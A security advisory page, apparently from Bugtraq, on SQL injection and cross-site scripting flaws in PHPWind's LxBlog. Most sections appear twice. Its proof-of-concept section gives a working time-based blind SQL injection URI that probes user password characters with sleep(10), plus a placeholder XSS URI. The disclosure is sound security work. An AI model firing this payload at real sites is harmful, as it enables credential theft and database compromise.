LxBlog Multiple Cross Site Scripting and SQL Injection Vulnerabilities
BID:35071
Info
LxBlog Multiple Cross Site Scripting and SQL Injection Vulnerabilities
| Bugtraq ID: | 35071 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 22 2009 12:00AM |
| Updated: | May 22 2009 07:10PM |
| Credit: | Securitylab.ir |
| Vulnerable: |
PHPWind LxBlog 0 |
| Not Vulnerable: | |
Discussion
LxBlog Multiple Cross Site Scripting and SQL Injection Vulnerabilities
LxBlog is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
LxBlog is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
LxBlog Multiple Cross Site Scripting and SQL Injection Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND
if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND
if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*
http://www.example.com/user_index.php?action=tag&job=modify&type=[XSS]&item_type[]=[XSS]
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND
if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND
if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*
http://www.example.com/user_index.php?action=tag&job=modify&type=[XSS]&item_type[]=[XSS]
Solution / Fix
LxBlog Multiple Cross Site Scripting and SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
LxBlog Multiple Cross Site Scripting and SQL Injection Vulnerabilities
References:
References:
- LxBlog Homepage (PHPWind)
- LxBlog ([email protected])